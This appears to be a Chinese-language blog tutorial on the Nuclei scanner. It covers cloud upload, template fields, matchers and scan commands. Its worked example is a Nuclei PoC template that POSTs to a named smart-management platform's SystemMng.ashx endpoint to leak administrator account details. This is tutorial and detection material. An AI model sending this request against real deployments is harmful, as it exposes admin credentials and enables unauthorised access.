nuclei调研

前几天浅浅看了两眼yamly和nuclei,这次就看一下yaml语言写的nuclei

nuclei连接云端

nuclei提供了一个云端的页面

https://cloud.projectdiscovery.io/

进去以后登录,我是直接使用的github登录的,然后复制api key

在本地Nuclei中输入

1
nuclei -auth

以后扫描后面带个-cloud-upload就中

nuclei模板学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
id: lianai-admin-info-poc

info:
name: 脸爱云一脸通智慧管理平台管理用户信息泄露漏洞 # 漏洞名称
author: Andy # 作者
severity: high # 漏洞危害等级 info、low、medium、high、critical
tags: 敏感信息泄露 # 模板标签列表,多个用,分割,可以写漏洞类型若漏洞有CVE编号,可以加上cve及 敏感信息泄露,cve
description: 脸爱云一脸通智慧管理平台存在信息泄露漏洞,该漏洞源于SystemMng.ashx接口处存在信息泄露漏洞,攻击者能够利用该漏洞通过SelOperators参数泄露的当前管理员的敏感信息包括账号密码登录系统后台。
http:
- method: POST
path:
- "{{BaseURL}}/SystemMng.ashx"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
body:
"username=admin&funcName=SelOperators"
matchers-condition: and # 规则验证方法 and&or
matchers:
- type: word
part: body # 指定检查位置 body响应体,header响应头,status_code状态码
words:
- 超级管理员
- type: status
status:
- 200

这是一个脸爱云的用户信息泄露漏洞的poc,是使用yaml也就是nuclei模板编写的

1
id: 编写的脚本名字
1
2
3
4
5
6
info:
name 漏洞名称
author 作者,你给自己起一个名字就行
severity 漏洞等级,分为info,low,high,critical,表示信息,低,高,严重
tags 模板标签列表,多个用,分割,可以写漏洞类型若漏洞有CVE编号,可以加上cve及 敏感信息泄露,cve
description 形容一下这个漏洞,比如上面的脸爱云就简单分析了一下这个漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
http:
- method: 请求方法,GET或者POST
path:
- "{{BaseURL}}/SystemMng.ashx" 请求路径,
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
body:
"username=admin&funcName=SelOperators"
matchers-condition: and # 规则验证方法 and&or,and表示所有匹配条件都要满足,
matchers:
- type: word 检查类型是word
part: body # 指定检查位置 body响应体,header响应头,status_code状态码
words:
- 超级管理员 需要检查的词
- type: status
status:
- 200

1
2
3
4
5
Matchers:体验证方法,下面的每个type为一次验证,
type支持status:对响应状态代码进行整数比较,
size:比较响应的内容长度,word:基于响应的特定部分进行文本比较,
dsl:DSL(领域特定语言)在响应的特定部分进行高级匹配;
当选择word时,需指定part,words为关键字,支持多个关键字,他们之间的关系为并列关系。

这是一个简单的信息泄露

nuclei在这个界面支持自定义编写

编写的界面

自研界面

使用nuclei的话一般都是直接-u 但是nuclei要指定模板进行扫描

1
nuclei -u  地址  -t 模板   (-p  代理)  -cloud-upload

当然它还有很多的模板供参考,可以看一下template文件

剩下的信息nuclei官方文档写的满清楚了,我就不多叙述了